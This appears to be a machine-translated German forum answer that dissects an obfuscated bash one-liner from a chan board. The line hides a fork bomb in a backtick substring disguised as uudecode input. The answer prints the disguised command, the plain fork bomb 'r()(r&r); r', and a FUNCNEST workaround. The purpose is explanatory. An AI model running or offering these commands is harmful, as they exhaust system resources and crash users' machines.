Schauen wir uns zunächst den gesamten Befehl an:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Es enthält eine Zeichenfolge in doppelten Anführungszeichen, die wiedergegeben wird uudecode
. Beachten Sie jedoch, dass es sich bei der Zeichenfolge in doppelten Anführungszeichen um eine Zeichenfolge in umgekehrten Anführungszeichen handelt . Dieser String wird ausgeführt . Die Zeichenfolge lautet:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Wenn wir uns ansehen, was drin ist, sehen wir drei Befehle:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Wenn Sie die Klammer auf den mittleren Befehl erweitern, haben Sie:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
In der ersten Zeile wird versucht, einen Unsinnsbefehl im Hintergrund auszuführen. Das ist unwichtig.
Die zweite Zeile ist wichtig: Sie definiert eine Funktion, r
die beim Ausführen zwei Kopien von sich selbst startet. Jede dieser Kopien würde natürlich zwei weitere Kopien auf den Markt bringen. Und so weiter.
Die dritte Reihe r
startet die Gabelbombe.
Der Rest des Codes außerhalb der Zeichenfolge in Anführungszeichen ist nur Unsinn für die Verschleierung.
So führen Sie den Befehl sicher aus
Dieser Code kann gefahrlos ausgeführt werden, wenn die Ebene der Funktionsverschachtelung begrenzt ist. Dies kann mit der FUNCNEST
Variablen von bash geschehen . Hier setzen wir es auf 2
und dies stoppt die Rekursion:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Die obigen Fehlermeldungen zeigen, dass (a) die Quatschbefehle rYWdl
und Y29j
nicht gefunden werden, (b) die Gabelbombe wiederholt von FUNCNEST gestoppt wird und (c) die Ausgabe von echo
nicht mit beginnt begin
und folglich keine gültige Eingabe für ist uudecode
.
Die Gabelbombe in ihrer einfachsten Form
Wie würde die Gabelbombe aussehen, wenn wir die Verdunkelung entfernen würden? Wie njzk2 und gerrit vorschlagen, würde es so aussehen:
echo "`r()(r&r);r`"
Das können wir noch weiter vereinfachen:
r()(r&r); r
Das setzt sich aus zwei Aussagen zusammen: Eine definiert die Gabelbombenfunktion r
und die zweite läuft r
.
Der gesamte andere Code, einschließlich der Pipe to uudecode
, diente nur der Verschleierung und Fehlleitung.
Die ursprüngliche Form hatte noch eine weitere Fehlleitungsebene
Das OP hat einen Link zur Channel-Board-Diskussion bereitgestellt, auf der dieser Code erschien. Wie dort dargestellt, sah der Code folgendermaßen aus:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Beachten Sie einen der ersten Kommentare zu diesem Code:
Ich bin darauf hereingefallen. Kopierte nur den Teil, der widerhallt und dekodiert, aber immer noch gabelbombardiert wurde
In der Form auf der Kanaltafel würde man naiv denken, dass das Problem die eval
Aussage sein würde, die auf dem Ausgang von arbeitet uudecode
. Dies würde den Eindruck erwecken, dass das Entfernen eval
das Problem lösen würde. Wie wir oben gesehen haben, ist dies falsch und gefährlich.